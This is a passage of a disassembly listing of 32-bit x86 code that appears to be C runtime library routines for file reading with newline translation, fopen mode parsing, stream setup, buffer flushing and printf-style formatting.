; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC700
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC600h[eax*4]
		mov	eax, dword_4DC600[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		call	near ptr 2670E77h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 2670E77h
		nop
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB494
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB490
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5E0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB5C8
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB5C8
		mov	[edi+ecx], eax
		mov	eax, dword_4DB5C8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C328
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C328
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA38
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA58
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C980


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C328	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C544
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


